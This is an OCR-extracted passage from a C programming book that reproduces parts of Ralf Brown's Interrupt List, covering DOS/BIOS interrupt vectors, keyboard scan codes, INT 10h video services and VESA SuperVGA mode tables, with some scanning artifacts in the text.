INT ED - IBM ROM BASIC - used while in interpreter
INT EE - IBM ROM BASIC - used while in interpreter
INT EF - BASIC - ORIGINAL INT 09 VECTOR
INT FO - BASICA.COM, GWBASIC, compiled BASIC - ORIGINAL INT 08 VECTOR
INT F1 - reserved for user interrupt
INT F2 - reserved for user interrupt
INT F3 - reserved for user interrupt
INT F4 - reserved for user interrupt
INT F5 - reserved for user interrupt
INT F6 - reserved for user interrupt
INT F7 - reserved for user interrupt
INT F8 - reserved for user interrupt
INT F9 - reserved for user interrupt
INT FA - reserved for user interrupt
INT FB - reserved for user interrupt
INT FC - reserved for user interrupt
INT FD - reserved for user interrupt
INT FE - AT/XT286/PS50+ - destroyed by return from protected mode
INT FF - AT/XT286/PS50+ - destroyed by return from protected mode

\subsection*{71.2.2 Listing}

Because of space constraint, here I provide only a few interrupts that I use much. The reader is however suggested to check out the CD for complete information. As everyone should be aware of the RBIL format, I present here without formatting it!

INT 00 C - CPU-generated - DIVIDE ERROR
Desc: generated if the divisor of a DIV or IDIV instruction is zero or the quotient overflows the result register; DX and AX will be unchanged.
Notes: on an 8086/8088, the return address points to the following instruction on an \(80286+\), the return address points to the divide instruction an 8086/8088 will generate this interrupt if the result of a division
is 80h (byte) or 8000h (word)
SeeAlso: INT 04,OPCODE "AAD"
--------G-00
INT 00 - Zenith - ROM DEBUGGER
Desc: invokes the ROM Debugger when at the BIOS level; equivalent to pressing Ctrl-Alt-Ins on booting.
Note: since DOS revectors INT 00, it is necessary to restore this vector to its original ROM BIOS value in order to invoke the debugger once DOS loads
SeeAlso: INT 03"Columbia"
--------C-01
INT 01 C - CPU-generated - SINGLE STEP
Desc: generated after each instruction if TF (trap flag) is set; TF is cleared on invoking the single-step interrupt handler
Notes: interrupts are prioritized such that external interrupts are invoked after the INT 01 pushes CS:IP/FLAGS and clears TF, but before the first instruction of the handler executes
used by debuggers for single-instruction execution tracing, such as MS-DOS DEBUG's T command
SeeAlso: INT 03"CPU"
--------C-01
INT 01 C - CPU-generated (80386+) - DEBUGGING EXCEPTIONS
Desc: generated by the CPU on various occurrences which may be of interest to a debugger program
Note: events which may trigger the interrupt: Instruction address breakpoint fault - will return to execute inst Data address breakpoint trap - will return to following instruction General detect fault, debug registers in use Task-switch breakpoint trap undocumented 386/486 opcode F1h - will return to following instruc
SeeAlso: INT 03"CPU"
--------H-02
INT 02 C - external hardware - NON-MASKABLE INTERRUPT
Desc: generated by the CPU when the input to the NMI pin is asserted
Notes: return address points to start of interrupted instruction on 80286+ on the 80286+, further NMIs are disabled until the next IRET instruction, but one additional NMI is remembered by the hardware and will be serviced after the IRET instruction reenables NMIS
maskable interrupts may interrupt the NMI handler if interrupts are enabled
although the Intel documentation states that this interrupt is typically used for power-failure procedures, it has many other uses on IBM-compatible machines:

Memory parity error: all except Jr, CONV, and some machines without memory parity Breakout switch on hardware debuggers Coprocessor interrupt: all except Jr and CONV Keyboard interrupt: Jr, CONV

\section*{644 A to \(Z\) of C}

I/O channel check: CONV, PS50+
Disk-controller power-on request: CONV
System suspend: CONV
Real-time clock: CONV
System watch-dog timer, time-out interrupt: PS50+ DMA timer time-out interrupt: PS50+ Low battery: HP 95LX Module pulled: HP 95LX

\section*{-------C-08}

INT 08 C - CPU-generated (80286+) - DOUBLE EXCEPTION DETECTED
Desc: called when multiple exceptions occur on one instruction, or an exception occurs in an exception handler
Notes: called in protected mode if an interrupt above the defined limit of the interrupt vector table occurs
return address points at beginning of instruction with errors or the beginning of the instruction which was about to execute when the external interrupt caused the exception
if an exception occurs in the double fault handler, the CPU goes into SHUTDOWN mode (which circuitry in the PC/AT converts to a reset); this "triple fault" is a faster way of returning to real mode on many 80286 machines than the standard keyboard controller reset
---H-09 \(\qquad\)
INT 09 C - IRQ1 - KEYBOARD DATA READY
Desc: this interrupt is generated when data is received from the keyboard. This is normally a scan code (from either a keypress *or* a key release), but may also be an ACK or NAK of a command on AT-class keyboards.
Notes: this IRQ may be masked by setting bit 1 on I/O port 21 h
if the BIOS supports an enhanced (101/102-key) keyboard, it calls INT 15/AH=4Fh after reading the scan code (see \#00006) from the keyboard and before further processing; all further processing uses the scan code returned from INT 15/AH=4Fh
the default interrupt handler is at F000h: E987h in 100\%-compatible BIOSes
the interrupt handler performs the following actions for certain special keystrokes:
Ctrl-Break clear keyboard buffer, place word 0000h in buffer, invoke INT 1B, and set flag at 0040h:0071h SysReq invoke INT 15/AH=85h (SysReq is often labeled SysRq) Ctrl-Numlock place system in a tight wait loop until next INT 09 Ctrl-Alt-Del jump to BIOS startup code (either F000h:FFFOh or the destination of the jump at that address)
Shift-PrtSc invoke INT 05
Ctrl-Alt-Plus (HP Vectra) enable keyclick
Ctrl-Alt-Plus (many clones) set clock speed to high
Ctrl-Alt-Minus (HP Vectra) reduce keyclick volume
Ctrl-Alt-Minus (many clones) set clock speed to low Ctrl-Alt-SysReq (HP Vectra) generate hard reset

> Ctrl-Alt-S (many clones) run BIOS setup program Ctrl-Alt-Esc (many clones) run BIOS setup program Ctrl-Alt-Ins (many clones) run BIOS setup program Ctrl-Alt-LeftShift-GrayMinus (some clones) turn off system cache Ctrl-Alt-LeftShift-GrayPlus (some clones) turn on system cache DR DOS hooks this interrupt to control the cursor shape (underscore/ half block) for overwrite/insert mode
> DR Multiuser DOS hooks this interrupt for cursor shape control and to control whether Ctrl-Alt-Del reboots the current session or the entire system
> SeeAlso: INT 05"PRINT SCREEN",INT 0B"HP 95LX", INT 15/AH=4Fh,INT 15/AH=85h SeeAlso: INT 16/AH=00h, INT 16/AH=10h,INT 1B,INT 2F/AX=A901h,INT 4A/AH=00h"TI" SeeAlso: INT 51"DESQview",INT 59"DoubleDOS",INT 79"GO32"
(Table 00006)
Values for keyboard make/break (scan) code:
\begin{tabular}{|c|c|c|c|c|c|}
\hline 01h & Esc & 31h & N & & \\
\hline 02h & 1! & 32h & M & & \\
\hline 03h & 2 @ & 33h & , < & 63h & F16 \\
\hline 04h & 3 \# & 34h & . \(>\) & 64h & F17 \\
\hline 05h & 4 \$ & 35h & / ? & 65h & F18 \\
\hline 06h & 5 \% & 36h & Right Shift & 66h & F19 \\
\hline 07h & \(6{ }^{\wedge}\) & 37h & Grey* & 67h & F20 \\
\hline 08h & 7 \& & 38h & Alt & 68h & F21 (Fn) [*] \\
\hline 09h & 8 * & 39h & SpaceBar & 69h & F22 \\
\hline OAh & 9 ( & 3Ah & CapsLock & 6Ah & F23 \\
\hline OBh & 0 ) & 3Bh & F1 & 6Bh & F24 \\
\hline OCh & - & 3Ch & F2 & 6Ch & -- \\
\hline ODh & \(=+\) & 3Dh & F3 & 6Dh & EraseEOF \\
\hline OEh & Backspace & 3Eh & F4 & & \\
\hline OFh & Tab & 3Fh & F5 & 6Fh & Copy/Play \\
\hline 10h & Q & 40h & F6 & & \\
\hline 11h & W & 41h & F7 & & \\
\hline 12h & E & 42h & F8 & 72h & CrSel \\
\hline 13h & R & 43h & F9 & 73h & <delta> [*] \\
\hline 14h & T & 44h & F10 & 74h & ExSel \\
\hline 15h & Y & 45h & NumLock & & 75h -- \\
\hline 16h & U & 46h & Scrolliock & 76h & Clear \\
\hline 17h & 1 & 47h & Home & 77h & [Note2] J oyst But1 \\
\hline 18h & 0 & 48h & UpArrow & & 78h [Note2] Joyst But2 \\
\hline 19h & P & 49h & PgUp & 79h & [ Note2] Joyst Right \\
\hline 1Ah & [ \{ & 4Ah & Grey- & 7Ah & [Note2] J oyst Left \\
\hline 1Bh & ] \} & 4Bh & LeftArrow & 7Bh & [Note2] Joyst Up \\
\hline 1Ch & Enter & 4Ch & Keypad 5 & 7Ch & [Note2] Joyst Down \\
\hline 1Dh & Ctrl & 4Dh & RightArrow & 7Dh & [Note2] right mouse \\
\hline 1Eh & A & 4Eh & Grey+ & 7Eh & [Note2] left mouse \\
\hline 1Fh & S & 4Fh & End & & \\
\hline 20h & D & 50h & DownArrow & & \\
\hline
\end{tabular}

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the "Preh Commander AT" keyboard with additional F11-F22 keys treats F11-F20 as Shift-F1..Shift-F10 and F21/F22 as Ctrl-F1/Ctrl-F2; the Eagle PC-2 keyboard with F11-F24 keys treated those additional keys in the same way
[Note1] the "Cherry G80-0777" keyboard has additional F11-F15 keys which generate make codes 55h-59h; some other extended keyboards generate codes 55h and 56h for F11 and F12, which cannot be managed by standard DOS keyboard drivers
[Note2] the Schneider/Amstrad PC1512 PC keyboards contain extra keys, a mouse, and a digital joystick, which are handled like extra keys. The joystick's motion scancodes are converted into standard arrow keys by the BIOS, and the joystick and mouse button scan codes are converted to FFFFh codes in the BIOS keyboard buffer (see CMOS 15h"AMSTRAD").
In addition to the keys listed in the table above, there are Del-> (delete forward) 70h
Enter
74h
SeeAlso: \#00602 at INT 16/AX=6F07h, \#03214 at INT 4A/AH=05h
--------H-0A-
INT OA - IRQ2 - ROLAND MPU MIDI INTERFACE
Note: newer Roland cards and MIDI interfaces by other manufacturers use a jumper-selectable IRQ, but software and hardware generally defaults to IRQ2
SeeAlso: INT 52"DESQview", INT 5A"DoubleDOS",INT 71,INT 7A"GO32"
--------V-1000-
INT 10 - VIDEO - SET VIDEO MODE
\(\mathrm{AH}=00 \mathrm{~h}\)
AL = desired video mode (see \#00010)
Return: AL = video mode flag (Phoenix, AMI BIOS)
20h mode > 7
30h modes 0-5 and 7
3Fh mode 6
AL \(=\) CRT controller mode byte (Phoenix 386 BIOS v1.10)
Desc: specify the display mode for the currently active display adapter
--------V-1001--------------------------------
INT 10 - VIDEO - SET TEXT-MODE CURSOR SHAPE
\(\mathrm{AH}=01 \mathrm{~h}\)
CH = cursor start and options (see \#00013)
\(C L=\) bottom scan line containing cursor (bits 0-4)
Return: nothing
Desc: specify the starting and ending scan lines to be occupied by the hardware cursor in text modes
Notes: buggy on EGA systems--BIOS remaps cursor shape in 43 line modes, but returns unmapped cursor shape
UltraVision scales size to the current font height by assuming 14-line monochrome and 8 -line color fonts; this call is not valid if cursor emulation has been disabled
applications which wish to change the cursor by programming the

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hardware directly on EGA or above should call INT 10/AX=1130h or read 0040h:0085h first to determine the current font height on some adapters, setting the end line greater than the number of lines in the font will result in the cursor extending to the top of the next character cell on the right
BUG: AMI 386 BIOS and AST Premier 386 BIOS will lock up the system if AL is not equal to the current video mode
SeeAlso: \(A H=03 h, A X=C D 05 h, A H=12 h / B L=34 h, \# 03885\)
Bitfields for cursor start and options:
Bit(s) Description (Table 00013)
7 should be zero
6,5 cursor blink
(00=normal, \(01=\) invisible, \(10=\) erratic, \(11=\) slow)
( \(00=\) normal, other \(=\) invisible on EGA/VGA)
4-0 topmost scan line containing cursor
--------V-1002
INT 10 - VIDEO - SET CURSOR POSITION
\(\mathrm{AH}=02 \mathrm{~h}\)
\(\mathrm{BH}=\) page number
\(0-3\) in modes \(2 \& 3\)
\(0-7\) in modes \(0 \& 1\)
0 in graphics modes
\(\mathrm{DH}=\) row ( 00 h is top)
DL = column (00h is left)
Return: nothing
SeeAlso: AH=03h,AH=05h,INT 60/DI=030Bh,MEM 0040h:0050h
--------V-1003-------------------------------
INT 10 - VIDEO - GET CURSOR POSITION AND SIZE
\(\mathrm{AH}=03 \mathrm{~h}\)
\(\mathrm{BH}=\) page number
\(0-3\) in modes \(2 \& 3\)
\(0-7\) in modes \(0 \& 1\)
0 in graphics modes
Return: \(A X=0000\) (Phoenix BIOS)
\(\mathrm{CH}=\) start scan line
\(\mathrm{CL}=\) end scan line
DH = row (00h is top)
DL = column ( 00 h is left)
Notes: a separate cursor is maintained for each of up to 8 display pages many ROM BIOSes incorrectly return the default size for a color display (start 06h, end 07h) when a monochrome display is attached
With PhysTechSoft's PTS ROM-DOS the BH value is ignored on entry.
SeeAlso: \(\mathrm{AH}=01 \mathrm{~h}, \mathrm{AH}=02 \mathrm{~h}, \mathrm{AH}=12 \mathrm{~h} / \mathrm{BL}=34 \mathrm{~h}, \mathrm{MEM}\) 0040h: \(0050 \mathrm{~h}, \mathrm{MEM}\) 0040h: 0060 h
--------V-1004
INT 10 - VIDEO - READ LIGHT PEN POSITION (except VGA)
\(\mathrm{AH}=04 \mathrm{~h}\)
Return: \(A H=\) light pen trigger flag

> 00h not down/triggered
> 01h down/triggered
> DH,DL = row, column of character light pen is on CH = pixel row (graphics modes \(04 \mathrm{~h}-06 \mathrm{~h}\) ) \(\mathrm{CX}=\) pixel row (graphics modes with \(>200\) rows) \(\mathrm{BX}=\) pixel column

Desc: determine the current position and status of the light pen (if present)
Notes: on a CGA, returned column numbers are always multiples of 2 (320column modes) or 4 (640-column modes)
returned row numbers are only accurate to two lines
--------V-1004 \(\qquad\)
INT 10-HUNTER 16-GET CURSOR ADDRESS
AH \(=04 \mathrm{~h}\)
\(\mathrm{BH}=\) page
Return: DH = row (0..24)
DL = column (0..79)
CH = cursor pixel Y-address (0..199)
CL = cursor pixel X-address (0..639)
Notes: the Husky Hunter 16 is an 8088-based ruggedized laptop. Other family members are the Husky Hunter, Husky Hunter 16/80, and Husky Hawk.
pixel coordinates are for the lower left corner of the character cell containing the cursor
SeeAlso: AH=60h"HUNTER"
--------V-1005 \(\qquad\)
INT 10 - VIDEO - SELECT ACTIVE DISPLAY PAGE
AH \(=05 \mathrm{~h}\)
\(A L=\) new page number (00h to number of pages - 1) (see \#00010)
Return: nothing
Desc: specify which of possibly multiple display pages will be visible
Note: to determine whether the requested page actually exists, use AH=0Fh to query the current page after making this call
SeeAlso: \(A H=0 F h, A H=43 h, A H=45 h, M E M\) 0040h:0062h,MEM 0040h:004Eh
--------V-1006 \(\qquad\)
INT 10 - VIDEO - SCROLL UP WINDOW
\(\mathrm{AH}=06 \mathrm{~h}\)
\(\mathrm{AL}=\) number of lines by which to scroll up ( \(00 \mathrm{~h}=\) clear entire window)
\(\mathrm{BH}=\) attribute used to write blank lines at bottom of window
\(\mathrm{CH}, \mathrm{CL}=\) row,column of window's upper left corner
DH,DL = row, column of window's lower right corner
Return: nothing
Note: affects only the currently active page (see \(\mathrm{AH}=05 \mathrm{~h}\) )
BUGS: some implementations (including the original IBM PC) have a bug which destroys BP
the Trident TVGA8900CL (BIOS dated 1992/9/8) clears DS to 0000h when scrolling in an SVGA mode ( \(800 \times 600\) or higher)
SeeAlso: \(A H=07 h, A H=12 h " T a n d y 2000 ", A H=72 h, A H=73 h, A X=7 F 07 h, I N T 50 / A X=0014 h\)
--------V-1007

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INT 10 - VIDEO - SCROLL DOWN WINDOW
\(A H=07 h\)
\(A L=\) number of lines by which to scroll down ( \(00 h=\) clear entire window)
\(\mathrm{BH}=\) attribute used to write blank lines at top of window
CH,CL = row,column of window's upper left corner
DH, DL = row,column of window's lower right corner
Return: nothing
Note: affects only the currently active page (see \(\mathrm{AH}=05 \mathrm{~h}\) )
BUGS: some implementations (including the original IBM PC) have a bug which destroys BP
the Trident TVGA8900CL (BIOS dated 1992/9/8) clears DS to 0000h when scrolling in an SVGA mode ( \(800 \times 600\) or higher)
SeeAlso: AH=06h,AH=12h"Tandy 2000",AH=72h,AH=73h,INT 50/AX=0014h
--------V-1008-
INT 10 - VIDEO - READ CHARACTER AND ATTRIBUTE AT CURSOR POSITION
\(\mathrm{AH}=08 \mathrm{~h}\)
\(\mathrm{BH}=\) page number (00h to number of pages - 1) (see \#00010)
Return: AH = character's attribute (text mode only) (see \#00014)
AH = character's color (Tandy 2000 graphics mode only)
AL = character
Notes: for monochrome displays, a foreground of 1 with background 0 is underlined
the blink bit may be reprogrammed to enable intense background colors using \(A X=1003 \mathrm{~h}\) or by programming the CRT controller
the foreground intensity bit (3) can be programmed to switch between character sets A and B on EGA and VGA cards, thus enabling 512 simultaneous characters on screen. In this case the bit's usual function (intensity) is regularly turned off.
in graphics modes, only characters drawn with white foreground pixels are matched by the pattern-comparison routine
on the Tandy 2000, \(\mathrm{BH}=\) FFh specifies that the current page should be used
because of the IBM BIOS specifications, there may exist some clone BIOSes which do not preserve SI or DI; the Novell DOS kernel preserves SI, DI, and BP before many INT 10h calls to avoid problems due to those registers not being preserved by the BIOS.
BUG: some IBM PC ROM BIOSes destroy BP when in graphics modes
SeeAlso: \(A H=09 h, A X=1003 h, A X=1103 h, A H=12 h / B L=37 h, A X=5001 \mathrm{~h}\)
Bitfields for character's display attribute:
Bit(s) Description (Table 00014)
7 foreground blink or (alternate) background bright (see also AX=1003h)
6-4 background color (see \#00015)
3 foreground bright or (alternate) alternate character set (see AX=1103h)
2-0 foreground color (see \#00015)
SeeAlso: \#00026
(Table 00015)

Values for character color:
\begin{tabular}{lll} 
& Normal & Bright \\
000b & black & dark gray \\
001b & blue & light blue \\
010b & green & light green \\
011b & cyan & light cyan \\
100b & red & light red \\
101b & magenta & \multicolumn{1}{c}{ light magenta } \\
110b & brown & yellow \\
111b & light gray & white
\end{tabular}
```

-----V-1009--------------------------

```
INT 10 - VIDEO - WRITE CHARACTER AND ATTRIBUTE AT CURSOR POSITION
    AH \(=09 \mathrm{~h}\)
    AL = character to display
    BH = page number (00h to number of pages - 1) (see \#00010)
        background color in 256-color graphics modes (ET4000)
    BL = attribute (text mode) or color (graphics mode)
        if bit 7 set in \(<256\)-color graphics mode, character is XOR'ed
        onto screen
    CX = number of times to write character

Return: nothing
Notes: all characters are displayed, including CR, LF, and BS
replication count in CX may produce an unpredictable result in graphics modes if it is greater than the number of positions remaining in the current row
With PhysTechSoft's PTS ROM-DOS the BH, BL, and CX values are ignored on entry.
SeeAlso: AH=08h,AH=0Ah,AH=4Bh"GRAFIX",INT 17/AH=60h,INT 1F"SYSTEM DATA"
SeeAlso: INT 43"VIDEO DATA", INT 44"VIDEO DATA"
```

--------V-100B--BH00------------------------

```

INT 10 - VIDEO - SET BACKGROUND/BORDER COLOR
\(A H=0 B h\)
\(B H=00 h\)
\(\mathrm{BL}=\) background/border color (border only in text modes)
Return: nothing
SeeAlso: \(\mathrm{AH}=0 \mathrm{Bh} / \mathrm{BH}=01 \mathrm{~h}\)
--------V-100F--------------------------------
INT 10 - VIDEO - GET CURRENT VIDEO MODE
\(\mathrm{AH}=0 \mathrm{Fh}\)
Return: \(\mathrm{AH}=\) number of character columns
\(\mathrm{AL}=\) display mode (see \(\# 00010\) at \(\mathrm{AH}=00 \mathrm{~h}\) )
\(\mathrm{BH}=\) active page (see \(\mathrm{AH}=05 \mathrm{~h}\) )
Notes: if mode was set with bit 7 set ("no blanking"), the returned mode will also have bit 7 set
EGA, VGA, and UltraVision return either \(\mathrm{AL}=03 \mathrm{~h}\) (color) or \(\mathrm{AL}=07 \mathrm{~h}\) (monochrome) in all extended-row text modes
HP 200LX returns \(A L=07 \mathrm{~h}\) (monochrome) if mode was set to \(A L=21 \mathrm{~h}\) and always 80 resp. 40 columns in all text modes regardless of

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current zoom setting (see AH=DOh)
when using a Hercules Graphics Card, additional checks are necessary:
mode 05h: if WORD 0040h:0063h is 03B4h, may be in graphics page 1 (as set by DOSSHELL and other Microsoft software)
mode 06h: if WORD 0040h:0063h is 03B4h, may be in graphics page 0 (as set by DOSSHELL and other Microsoft software)
mode 07h: if BYTE 0040h:0065h bit 1 is set, Hercules card is in graphics mode, with bit 7 indicating the page (mode set by Hercules driver for Borland Turbo C)
the Tandy 2000 BIOS is only documented as returning AL, not AH or BH SeeAlso: \(A H=00 h, A H=05 h, A X=10 F 2 h, A X=1130 h, A X=C D 04 h, M E M\) 0040h:004Ah --------V-1010
INT 10 - Tandy 2000 - VIDEO - GET/SET CHARACTER FONTS
\(\mathrm{AH}=10 \mathrm{~h}\)
\(A L=\) control value
bit 0: set character set instead of reading it
bit 1: high 128 characters instead of low 128 characters
ES: BX -> new character set if AL bit 0 set
Return: ES: BX -> current character set if AL bit 0 clear on entry
Notes: this interrupt is identical to INT 52 on Tandy 2000
the character set consists of 16 bytes for each of the 128 characters, where each of the 16 bytes describes the pixels in one scan line, most significant bit leftmost
SeeAlso: \(\mathrm{AH}=00 \mathrm{~h}, \mathrm{AH}=0 \mathrm{Bh} / \mathrm{BH}=02 \mathrm{~h}, \mathrm{AH}=11 \mathrm{~h} " T a n d y 2000\) ", \(\mathrm{AH}=12 \mathrm{~h} " T a n d y 2000\) " SeeAlso: INT 52"Tandy 2000"
--------V-101104------------------------------
INT 10 - VIDEO - TEXT-MODE CHARGEN - LOAD ROM \(8 \times 16\) CHARACTER SET (VGA)
\(A X=1104 h\)
\(B L=\) block to load
Return: nothing
Notes: ( see \(A X=1100 h\) )
SeeAlso: \(A X=1100 \mathrm{~h}, A X=1101 \mathrm{~h}, A X=1102 \mathrm{~h}, \mathrm{AX}=1103 \mathrm{~h}, \mathrm{AX}=1114 \mathrm{~h}, \mathrm{AH}=1 \mathrm{Bh}, \mathrm{AX}=\mathrm{CD} 10 \mathrm{~h}\)
SeeAlso: MEM 0040h:0084h
Index: text mode; font|text mode; screen rows
--------J-1018
INT 10-VIDEO - DOS/V - GET/SET FONT PATTERN
\(\mathrm{AH}=18 \mathrm{~h}\)
AL = subfunction
00h get font pattern
01h set font pattern
\(B X=0000 h\)
\(\mathrm{CL}=\) character size in bytes (01h,02h)
\(\mathrm{CH}=00 \mathrm{~h}\)
DH = character width in pixels
DL = character height in pixels
ES: DI -> buffer for/containing font image
Return: AL = status ( 00 h successful, else error)
ES: DI buffer filled for function 00h if successful

Note: the supported font sizes are \(8 \times 16\) single-byte, \(8 \times 19\) single-byte, \(16 \times 16\) double-byte, and \(24 \times 24\) double-byte
SeeAlso: \(A H=19 \mathrm{~h}, \mathrm{INT} 16 / \mathrm{AH}=14 \mathrm{~h}\)
--------V-101E08
INT 10 - VIDEO - FLAT-PANEL - CONTRAST SETTING
\(A X=1 E 08 h\)
\(B H=\) function
bit 7: =1 set contrast control, =0 query contrast
bit 6: use standard contrast
bits 5-0: reserved (0)
---if BH bits 7,6=10---
\(\mathrm{BL}=\) contrast ( \(00 \mathrm{~h}=\) minimum, \(\mathrm{FFh}=\) maximum )
Return: \(A L=1\) Eh if function supported
\(\mathrm{BH}=\) results
bit 7: query/set (copied from input)
bit 6: standard/custom (copied from input)
bits 5-2: reserved (0)
bit 1: software contrast control is supported
bit 0: set operation was succesful (always clear on get)
\(\mathrm{BL}=\) contrast \((00 \mathrm{~h}=\) minimum, \(\mathrm{FFh}=\) maximum \()\)
Note: this function operates independently of \(A X=1 E 06 h\)
SeeAlso: \(A X=1 E 00 h, A X=1 E 06 h, A X=1 E 07 h\)
--------V-104F00
INT 10 - VESA SuperVGA BIOS (VBE) - GET SuperVGA INFORMATION \(A X=4 F O 0 h\)
ES: DI -> buffer for SuperVGA information (see \#00077)
Return: \(A L=4\) Fh if function supported
AH = status
00h successful ES: DI buffer filled
01h failed
---VBE v2.0---
02 h function not supported by current hardware configuration
03h function invalid in current video mode
Desc: determine whether VESA BIOS extensions are present and the capabilities supported by the display adapter
SeeAlso: \(A X=4 E 00 h, A X=4 F 01 \mathrm{~h}, \mathrm{AX}=7 \mathrm{FOOh}\) "SOLLEX", \(\mathrm{AX}=\mathrm{A} 00 \mathrm{Ch}\)
Index: installation check;VESA SuperVGA
Format of SuperVGA information:
Offset Size Description (Table 00077)
OOh 4 BYTEs (ret) signature ("VESA")
(call) VESA 2.0 request signature ("VBE2"), required to receive version 2.0 info
04h WORD VESA version number (one-digit minor version -- 0102h = v1.2)
06h DWORD pointer to OEM name
"761295520" for ATI
OAh DWORD capabilities flags (see \#00078)

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8-31 reserved (0)
SeeAlso: \#00077,AX=4F09h
--------V-104F01-
INT 10 - VESA SuperVGA BIOS - GET SuperVGA MODE INFORMATION \(A X=4 F 01 h\)
CX = SuperVGA video mode (see \#04082 for bitfields)
ES: DI -> 256-byte buffer for mode information (see \#00079)
Return: AL \(=4\) Fh if function supported AH = status

00h successful
ES:DI buffer filled
01h failed
Desc: determine the attributes of the specified video mode
SeeAlso: AX=4F00h, AX=4F02h
Bitfields for VESA/VBE video mode number:
Bit(s) Description (Table 04082)
15 preserve display memory on mode change
14 (VBE v2.0+) use linear (flat) frame buffer
13 (VBE/AF 1.0P) VBE/AF initializes accelerator hardware
12 reserved for VBE/AF
11 (VBE v3.0) user user-specified CRTC refresh rate values
10-9 reserved for future expansion
8-0 video mode number (0xxh are non-VESA modes, \(1 \times x h\) are VESA-defined)
Format of VESA SuperVGA mode information:
Offset Size Description (Table 00079)
00h WORD mode attributes (see \#00080)
02h BYTE window attributes, window A (see \#00081)
03h BYTE window attributes, window B (see \#00081)
04h WORD window granularity in KB
06h WORD window size in KB
08h WORD start segment of window A (0000h if not supported)
OAh WORD start segment of window B (0000h if not supported)
OCh DWORD \(\quad->\) FAR window positioning function (equivalent to \(A X=4 F 05 \mathrm{~h}\) )
10h WORD bytes per scan line
---remainder is optional for VESA modes in v1.0/1.1, needed for OEM modes---
12 h WORD width in pixels (graphics) or characters (text)
14 h WORD height in pixels (graphics) or characters (text)
16h BYTE width of character cell in pixels
17h BYTE height of character cell in pixels
18h BYTE number of memory planes
19h BYTE number of bits per pixel
1Ah BYTE number of banks
1Bh BYTE memory model type (see \#00082)
1Ch BYTE size of bank in KB
1Dh BYTE number of image pages (less one) that will fit in video RAM
1Eh BYTE reserved ( 00 h for VBE 1.0-2.0, 01 h for VBE 3.0)

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---VBE v1.2+ ---
1Fh BYTE red mask size
20h BYTE red field position
21h BYTE green mask size
22h BYTE green field size
23h BYTE blue mask size
24h BYTE blue field size
25h BYTE reserved mask size
26h BYTE reserved mask position
27h BYTE direct color mode info
bit 0: color ramp is programmable
bit 1: bytes in reserved field may be used by application
---VBE v2.0+ ---
28h DWORD physical address of linear video buffer
2Ch DWORD pointer to start of offscreen memory
30h WORD KB of offscreen memory
---VBE v3.0 ---
32h WORD bytes per scan line in linear modes
34h BYTE number of images (less one) for banked video modes
35h BYTE number of images (less one) for linear video modes
36h BYTE linear modes: size of direct color red mask (in bits)
37h BYTE linear modes: bit position of red mask LSB (e.g. shift count)
38h BYTE linear modes: size of direct color green mask (in bits)
39h BYTE linear modes: bit position of green mask LSB (e.g. shift count)
3Ah BYTE linear modes: size of direct color blue mask (in bits)
3Bh BYTE linear modes: bit position of blue mask LSB (e.g. shift count)
3Ch BYTE linear modes: size of direct color reserved mask (in bits)
3Dh BYTE linear modes: bit position of reserved mask LSB
3Eh DWORD maximum pixel clock for graphics video mode, in Hz
42h 190 BYTEsreserved (0)
Note: while VBE 1.1 and higher will zero out all unused bytes of the buffer,
v1.0 did not, so applications that want to be backward compatible
should clear the buffer before calling
Bitfields for VESA SuperVGA mode attributes:
Bit(s) Description (Table 00080)
0 mode supported by present hardware configuration
1 optional information available (must be $=1$ for VBE v1.2+)
2 BIOS output supported
3 set if color, clear if monochrome
4 set if graphics mode, clear if text mode
---VBE v2.0+ ---
5 mode is not VGA-compatible
6 bank-switched mode not supported
7 linear framebuffer mode supported
8 double-scan mode available (e.g. $320 \times 200$ and $320 \times 240$ )
---VBE v3.0 ---
9 interlaced mode available

```

10 hardware supports triple buffering
11 hardware supports stereoscopic display
12 dual display start address support
13-15 reserved
---VBE/AF v1.0P---
9 application must call EnableDirectAccess before calling bank-switching functions
SeeAlso: \#00079
Bitfields for VESA SuperVGA window attributes:
Bit(s) Description (Table 00081)
0 exists
1 readable
2 writable
3-7 reserved
SeeAlso: \#00079
(Table 00082)
Values for VESA SuperVGA memory model type:
00h text
01h CGA graphics
02h HGC graphics
03h 16-color (EGA) graphics
04h packed pixel graphics
05h "sequ 256" (non-chain 4) graphics
06h direct color (HiColor, 24-bit color)
07h YUV (luminance-chrominance, also called YIQ)
08h-0Fh reserved for VESA
10h-FFh OEM memory models
SeeAlso: \#00079
--------V-104F02------------------------------
INT 10 - VESA SuperVGA BIOS - SET SuperVGA VIDEO MODE
\(\mathrm{AX}=4 \mathrm{~F} 02 \mathrm{~h}\)
\(B X=\) new video mode (see \#04082,\#00083,\#00084)
ES: DI -> (VBE 3.0+) CRTC information block, bit mode bit 11 set (see \#04083)
Return: \(A L=4\) Fh if function supported
AH = status
00h successful
01h failed
Notes: bit 13 may only be set if the video mode is present in the list of accelerated video modes returned by \(\mathrm{AX}=4 \mathrm{FOOh}\)
if the DAC supports both 8 bits per primary color and 6 bits, it will be reset to 6 bits after a mode set; use \(A X=4 F 08\) h to restore 8 bits
SeeAlso: \(A X=4 E 03 \mathrm{~h}, \mathrm{AX}=4 \mathrm{~F} 00 \mathrm{~h}, \mathrm{AX}=4 \mathrm{~F} 01 \mathrm{~h}, \mathrm{AX}=4 \mathrm{~F} 03 \mathrm{~h}, \mathrm{AX}=4 \mathrm{~F} 08 \mathrm{~h}\)
(Table 00083)
Values for VESA video mode:

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00h-FFh OEM video modes (see \#00010 at AH=00h)
100h 640x400x256
101h 640x480x256
102h 800x600x16
103h 800x600x256
104h 1024x768x16
105h 1024\times768x256
106h 1280x1024x16
107h 1280x1024x256
108h 80x60 text
109h 132x25 text
10Ah 132x43 text
10Bh 132x50 text
10Ch 132x60 text
---VBE v1.2+ ---
10Dh 320x200x32K
10Eh 320x200x64K
10Fh 320x200x16M
110h 640x480x32K
111h 640x480x64K
112h 640x480x16M
113h 800x600x32K
114h 800x600x64K
115h 800x600x16M
116h 1024x768x32K
117h 1024x768x64K
118h 1024\times768x16M
119h 1280x1024x32K (1:5:5:5)
11Ah 1280x1024x64K (5:6:5)
11Bh 1280x1024x16M
---VBE 2.0+ ---
120h 1600x1200x256
121h 1600x1200x32K
122h 1600x1200x64K
81FFh special full-memory access mode
Notes: the special mode 81FFh preserves the contents of the video memory and
gives access to all of the memory; VESA recommends that the special
mode be a packed-pixel mode. For VBE 2.0+, it is required that the
VBE implement the mode, but not place it in the list of available
modes (mode information for this mode can be queried directly,
however).
as of VBE 2.0, VESA will no longer define video mode numbers
SeeAlso: \#00010,\#00011,\#00084,\#00191
Index: video modes; VESA
(Table 00084)
Values for S3 OEM video mode:
201h 640\times480\times256

```


